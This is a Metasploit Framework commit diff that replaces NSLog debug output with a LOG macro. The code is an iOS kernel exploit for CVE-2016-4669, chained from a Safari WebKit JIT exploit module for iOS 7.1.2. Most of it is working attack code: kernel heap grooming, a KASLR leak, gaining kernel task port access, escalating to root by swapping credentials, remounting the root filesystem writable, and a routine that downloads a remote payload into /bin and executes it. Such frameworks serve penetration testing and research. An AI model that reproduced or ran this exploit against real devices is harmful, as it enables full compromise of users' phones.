1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

remove debug logging from the kernel exploit

This commit is contained in:
Tim W 2020-07-30 17:57:43 +08:00
parent 277d7dcff2
commit 0b513d6c51
6 changed files with 89 additions and 92 deletions

Binary file not shown.

View File

@ -78,7 +78,7 @@ kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);
{\
name = dlsym(RTLD_DEFAULT, ""#name"");\
if (!name) {\
NSLog(@"could not resolve " #name "");\
LOG("could not resolve " #name "");\
exit(-1);\
}\
}\
@ -152,7 +152,7 @@ void gc()
{
kern_return_t kr = mach_zone_force_gc(mach_host_self());
if (kr != KERN_SUCCESS) {
NSLog(@"zone gc failed: %d", kr);
LOG("zone gc failed: %d", kr);
exit(-1);
}
}
@ -212,10 +212,10 @@ mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)
// out of bounds.
kern_return_t kr = mach_ports_register_oob();
if (kr != KERN_SUCCESS) {
NSLog(@"could not register oob");
LOG("could not register oob");
return NULL;
}
NSLog(@"oob port registered ");
LOG("oob port registered ");
// free the rest of the messages
for (int i=1; i<KALLOC_8_CNT; i++) {
@ -256,12 +256,12 @@ int find_port_pipe(int * pipes, unsigned *off)
int cnt = read(pipe[0], buf, sizeof(buf));
if (cnt != sizeof(buf)) {
NSLog(@"could not read pipe %d", i);
LOG("could not read pipe %d", i);
return -1;
}
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
NSLog(@"pipe write failed");
LOG("pipe write failed");
return -1;
}
@ -282,12 +282,12 @@ int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))
int cnt = read(pipe[0], buf, sizeof(buf));
if (cnt != sizeof(buf)) {
NSLog(@"could not read pipe %x, cnt: %d", i, cnt);
LOG("could not read pipe %x, cnt: %d", i, cnt);
return -1;
}
if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
NSLog(@"pipe write failed");
LOG("pipe write failed");
return -1;
}
@ -418,7 +418,7 @@ void kread(uint64_t from, void *to, size_t size)
kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,
size, (mach_vm_offset_t)(off+to), &outsize);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
return;
}
szt -= size;
@ -447,7 +447,7 @@ uint32_t kr32(addr_t from)
&num);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_vm_read failed!\n");
LOG("mach_vm_read failed!\n");
return 0;
}
uint32_t val = *(uint32_t*)buf;
@ -465,7 +465,7 @@ uint32_t kw32(addr_t to, uint32_t v)
(mach_msg_type_number_t)4);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_vm_write failed!\n");
LOG("mach_vm_write failed!\n");
}
return kr;
@ -477,13 +477,13 @@ int kread0_32(addr_t addr, void *result, mach_port_t super_port,
kern_return_t kr = mach_port_set_context(mach_task_self(),
context_port, addr - 8);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_port_set_context failed: %d", kr);
LOG("mach_port_set_context failed: %d", kr);
return -1;
}
kr = pid_for_task(super_port, (int *)result);
if (kr != KERN_SUCCESS) {
NSLog(@"pid_for_task failed: %d", kr);
LOG("pid_for_task failed: %d", kr);
return -2;
}
return 0;
@ -496,7 +496,7 @@ static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_po
kread0_32(ptr+i*4, &v1, port, ctx_port);
kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);
NSLog(@"%08X %08X", v1, v2);
LOG("%08X %08X", v1, v2);
}
}
@ -506,7 +506,7 @@ static void khexdump(addr_t ptr, size_t n)
uint32_t v1, v2;
v1 = kr32(ptr+i*4);
v2 = kr32(ptr+(i+1)*4);
NSLog(@"%08X %08X", v1, v2);
LOG("%08X %08X", v1, v2);
}
}
@ -543,7 +543,7 @@ io_service_t alloc_x10_alloc(void *xml)
&i);
if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {
NSLog(@"io_service_add_notification_ool failed %d, %d",
LOG("io_service_add_notification_ool failed %d, %d",
kr, another_error);
return MACH_PORT_NULL;
}
@ -630,13 +630,13 @@ int main(int argc, char** argv)
resolve(mach_vm_deallocate);
kr = IOMasterPort(MACH_PORT_NULL, &master);
NSLog(@"master port: %x, kr: %d\n", master, kr);
LOG("master port: %x, kr: %d\n", master, kr);
// First we stop all other thread to reduce the "noise"
for_other_threads(^(thread_act_t t) {
kern_return_t kr = thread_suspend(t);
if (kr != KERN_SUCCESS)
NSLog(@"could not suspend a thread");
LOG("could not suspend a thread");
});
// Set file limit for our process as high as possible,
@ -672,7 +672,7 @@ int main(int argc, char** argv)
// create pipe files first
if (pipes_create((int *)pipes, PIPES_CNT) < 0) {
NSLog(@"could not create pipes");
LOG("could not create pipes");
return -1;
}
@ -716,12 +716,12 @@ int main(int argc, char** argv)
// ip_srights field.
kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_ports_lookup failed %x\n", kr);
LOG("mach_ports_lookup failed %x\n", kr);
return -1;
}
super_port = ports[2];
NSLog(@"got fake pipe port: %d", super_port);
LOG("got fake pipe port: %d", super_port);
// offset within the page where the super port used to reside.
unsigned pipe_off;
@ -731,9 +731,9 @@ int main(int argc, char** argv)
int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);
if (pipe_idx >= 0) {
NSLog(@"got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
} else {
NSLog(@"could not find port pipe");
LOG("could not find port pipe");
exit(-1);
}
@ -749,7 +749,7 @@ int main(int argc, char** argv)
//
// We use method described in [3] to get kernel ASLR slide.
addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);
NSLog(@"slide: %08lx", slide);
LOG("slide: %08lx", slide);
// Now we want to get kernel read using pid_for_task trap trick.
// The details on that can be found in [2].
@ -797,7 +797,7 @@ int main(int argc, char** argv)
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_port_request_notification failed, %x", kr);
LOG("mach_port_request_notification failed, %x", kr);
}
}
@ -811,7 +811,7 @@ int main(int argc, char** argv)
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_port_request_notification failed, %x", kr);
LOG("mach_port_request_notification failed, %x", kr);
}
}
@ -879,7 +879,7 @@ int main(int argc, char** argv)
MACH_NOTIFY_DEAD_NAME, 0, notify_port,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_port_request_notification failed kr: %x", kr);
LOG("mach_port_request_notification failed kr: %x", kr);
exit(-1);
}
@ -888,7 +888,7 @@ int main(int argc, char** argv)
super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {
ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];
});
NSLog(@"got ip_requests: %lx", ip_requests);
LOG("got ip_requests: %lx", ip_requests);
// -8 we need for +8 pid offset in proc structure.
// + 8 is for second ipc_port_request record.
@ -932,10 +932,10 @@ int main(int argc, char** argv)
addr_t notify_port_addr;
kr = pid_for_task(super_port, (int *)&notify_port_addr);
if (kr != KERN_SUCCESS) {
NSLog(@"pid_for_task failed");
LOG("pid_for_task failed");
exit(-1);
}
NSLog(@"notify addr: %lx", notify_port_addr);
LOG("notify addr: %lx", notify_port_addr);
// Update the content of the task port so when we call pid_for_task
// it's going to use the value of notify_port ip_context field
// as bsd_info.
@ -945,14 +945,14 @@ int main(int argc, char** argv)
uint32_t dummy = 0;
if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {
NSLog(@"early kernel read failed");
LOG("early kernel read failed");
exit(-1);
}
if (dummy != 0xFEEDFACE) {
NSLog(@"could not setup early kernel read");
LOG("could not setup early kernel read");
exit(-1);
}
NSLog(@"got early kernel read");
LOG("got early kernel read");
// remove our notification port, to be able to safely release the
// super_port later on.
@ -960,7 +960,7 @@ int main(int argc, char** argv)
MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL,
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
if (kr != KERN_SUCCESS) {
NSLog(@"mach_port_request_notification failed kr: %x", kr);
LOG("mach_port_request_notification failed kr: %x", kr);
exit(-1);
}
@ -971,7 +971,7 @@ int main(int argc, char** argv)
super_port, notify_port) < 0) {
exit(0);
}
NSLog(@"kernel_task: %lx", kernel_task);
LOG("kernel_task: %lx", kernel_task);
addr_t kernel_space;
addr_t kernel_itk_self;
@ -980,7 +980,7 @@ int main(int argc, char** argv)
kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,
super_port, notify_port);
NSLog(@"kernel_space: %lx", kernel_space);
LOG("kernel_space: %lx", kernel_space);
addr_t self_space;
kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,
@ -988,12 +988,12 @@ int main(int argc, char** argv)
addr_t super_port_addr = kread0_port_addr(self_space, super_port,
super_port, notify_port);
NSLog(@"super_port_addr: %lx", super_port_addr);
LOG("super_port_addr: %lx", super_port_addr);
// setup port for kernel task as outlined in [2]
super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,
super_port_addr);
NSLog(@"got tfp0");
LOG("got tfp0");
tfp0 = super_port;
// resume thread, otherwise we lose some of
@ -1001,7 +1001,7 @@ int main(int argc, char** argv)
for_other_threads(^(thread_act_t t) {
kern_return_t kr = thread_resume(t);
if (kr != KERN_SUCCESS)
NSLog(@"could not resume a thread");
LOG("could not resume a thread");
});
shell_main(self_space, slide);

View File

@ -62,11 +62,11 @@ int remount_root_rw(addr_t slide)
char* nmz = strdup("/dev/disk0s1s1");
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
if (ret < 0) {
NSLog(@"mount failed ret: %d", ret);
LOG("mount failed ret: %d", ret);
return -1;
}
NSLog(@"root fs mounted r/w");
LOG("root fs mounted r/w");
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);
return 0;
}
@ -85,71 +85,61 @@ int remount_root_ro(addr_t slide)
char* nmz = strdup("/dev/disk0s1s1");
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
if (ret < 0) {
NSLog(@"mount failed ret: %d", ret);
LOG("mount failed ret: %d", ret);
return -1;
}
NSLog(@"root fs mounted ro");
LOG("root fs mounted ro");
kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);
return 0;
}
void random_string(char *s, const int len) {
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for (int i = 0; i < len; ++i) {
s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
}
s[len] = 0;
}
void deploy()
{
download(PAYLOAD_URL_PLACEHOLDER, "/bin/m");
char* path = "/bin/random";
random_string(path + 5, 6);
download(PAYLOAD_URL_PLACEHOLDER, path);
pid_t pid = 0;
char *path = "/bin/m";
char *args[] = {path, NULL};
int ret = posix_spawn(&pid, path, 0, 0, args, NULL);
if (ret < 0) {
NSLog(@"posix_spawn failed: %d", ret);
LOG("posix_spawn failed: %d", ret);
return;
}
waitpid(pid, 0, 0);
NSLog(@"shell deployed");
LOG("shell deployed");
}
void shell_main(addr_t self_space, addr_t slide)
{
addr_t self_addr = get_port_addr(self_space, mach_task_self());
NSLog(@"self_addr: %lx", self_addr);
LOG("self_addr: %lx", self_addr);
addr_t self_task = kr32(self_addr + IPC_PORT_kobject);
NSLog(@"self_task: %lx", self_task);
LOG("self_task: %lx", self_task);
addr_t self_proc = kr32(self_task + TASK_bsd_proc);
NSLog(@"self_proc: %lx", self_proc);
LOG("self_proc: %lx", self_proc);
addr_t kernel_proc = proc_for_pid(self_proc, 0);
NSLog(@"kernel_proc: %lx", kernel_proc);
LOG("kernel_proc: %lx", kernel_proc);
// privilege escalation from [1]
addr_t self_ucred = kr32(self_proc + PROC_ucred);
addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);
kw32(self_proc + PROC_ucred, kernel_cred);
NSLog(@"got root uid: %d, gid: %d", getuid(), getgid());
LOG("got root uid: %d, gid: %d", getuid(), getgid());
//uint32_t cs_enforcement_disable = 0;
//size_t kernel_size = 0x1000000;
//void *kernel = malloc(kernel_size);
//if (kernel) {
//kread(koffsets.base + slide, kernel, kernel_size);
//NSLog(@"got %zu kernel bytes xx", kernel_size);
//cs_enforcement_disable = find_cs_enforcement_disable_amfi(0, kernel, kernel_size);
//} else {
//NSLog(@"malloc kernel_size failed");
//}
//if (cs_enforcement_disable != 0) {
//NSLog(@"patchfinder got cs_enforcement_disable: %lx",
//cs_enforcement_disable + koffsets.base + slide);
//koffsets.cs_enforcement_disable = cs_enforcement_disable + koffsets.base;
//koffsets.amfi_allow_any_signature = koffsets.cs_enforcement_disable - 8;
//} else {
NSLog(@"patchfinder skipped!! using hardcoded offsets");
//}
//free(kernel);
// disable code signing by overwriting kernel arguments
// as described in [2]
//

View File

@ -43,4 +43,11 @@ void pipes_close(int *pipes, size_t count);
int pipes_create(int *pipes, size_t count);
int pipes_alloc(int *pipes, size_t count, char *pipe_buf);
//#define DEBUG 1
#ifdef DEBUG
#define LOG(str, args...) do { NSLog(@str, ##args); } while(0)
#else
#define LOG(str, args...) do {} while(0)
#endif
#endif

View File

@ -10,7 +10,7 @@ void for_other_threads(void (^handler)(thread_act_t thread))
kr = task_threads(mach_task_self(), &list, &count);
if (kr != KERN_SUCCESS) {
NSLog(@"task_threads failed");
LOG("task_threads failed");
return;
}
@ -27,29 +27,29 @@ void set_nofile_limit()
struct rlimit rlim;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret < 0) {
NSLog(@"getresuid failed errno: %d", errno);
LOG("getresuid failed errno: %d", errno);
exit(-1);
}
NSLog(@"nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
LOG("nofile limit: %llx %llx", rlim.rlim_cur, rlim.rlim_max);
rlim.rlim_cur = 0x2000;
ret = setrlimit(RLIMIT_NOFILE, &rlim);
if (ret < 0) {
NSLog(@"setrlimit failed errno: %d", errno);
LOG("setrlimit failed errno: %d", errno);
exit(-1);
}
NSLog(@"set new nofile limit: %llx", rlim.rlim_cur);
LOG("set new nofile limit: %llx", rlim.rlim_cur);
}
NSData *download_data(NSString *_url)
{
NSURL *url = [NSURL URLWithString:_url];
NSLog(@"get %@", url);
LOG("get %@", url);
NSData *urlData = [NSData dataWithContentsOfURL:url];
if (urlData != nil)
NSLog(@"got remote len: %d", [urlData length]);
LOG("got remote len: %d", [urlData length]);
else
NSLog(@"could not get %@", url);
LOG("could not get %@", url);
return urlData;
}
@ -70,12 +70,12 @@ int download(char *src, char *dest)
S_IROTH | S_IXOTH
);
if (fd < 0) {
NSLog(@"could not open %s", dest);
LOG("could not open %s", dest);
return -1;
}
int ret = write(fd, [data bytes], [data length]);
NSLog(@"saved to %s, write ret: %d", dest, ret);
LOG("saved to %s, write ret: %d", dest, ret);
close(fd);
sync();
@ -90,13 +90,13 @@ mach_port_t alloc_port()
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
NSLog(@"mach_port_allocate failed to allocate a port");
LOG("mach_port_allocate failed to allocate a port");
}
// insert a send right:
err = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
NSLog(@"mach_port_insert_right failed");
LOG("mach_port_insert_right failed");
}
return port;
@ -147,7 +147,7 @@ kern_return_t kalloc_ool_ports(mach_port_t port, mach_port_t ool_port, size_t cn
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
NSLog(@"sending kalloc.8 message failed %s\n", mach_error_string(err));
LOG("sending kalloc.8 message failed %s\n", mach_error_string(err));
}
return err;
@ -176,7 +176,7 @@ void discard_message(mach_port_t port)
0,
0);
if (err != KERN_SUCCESS){
NSLog(@"error receiving on port: %s\n", mach_error_string(err));
LOG("error receiving on port: %s\n", mach_error_string(err));
}
mach_msg_destroy(msg);
@ -187,7 +187,7 @@ void hexdump(void *ptr, size_t n)
uint32_t *u32 = ptr;
for (int i=0; i<n; i+=2) {
NSLog(@"%08X %08X", u32[i], u32[i+1]);
LOG("%08X %08X", u32[i], u32[i+1]);
}
}
@ -195,7 +195,7 @@ int pipe_create(int fds[2])
{
int ret = pipe(fds);
if (ret < 0) {
NSLog(@"pipe allocation failed errno: %d", errno);
LOG("pipe allocation failed errno: %d", errno);
return -1;
}
@ -206,7 +206,7 @@ int pipe_alloc(int fds[2], void *buf, size_t size)
{
int ret = write(fds[1], buf, size);
if (ret < 0) {
NSLog(@"pipe write failed, fd: %d, errno: %d", fds[1], errno);
LOG("pipe write failed, fd: %d, errno: %d", fds[1], errno);
return -1;
}
@ -238,7 +238,7 @@ int pipes_alloc(int *pipes, size_t count, char *pipe_buf)
{
for (int i=0; i<count; i++) {
if (pipe_alloc(&pipes[i*2], pipe_buf, PAGE_SIZE-1) < 0) {
NSLog(@"pipe alloc failed at %d", i);
LOG("pipe alloc failed at %d", i);
return -1;
}
}

View File

@ -4,7 +4,7 @@
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer::HTML
@ -13,9 +13,9 @@ class MetasploitModule < Msf::Exploit::Remote
super(
update_info(
info,
'Name' => 'Safari JIT Exploit',
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
'Description' => %q{
This module exploits a JIT optimisation bug in Safari Webkit. This allows us to
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the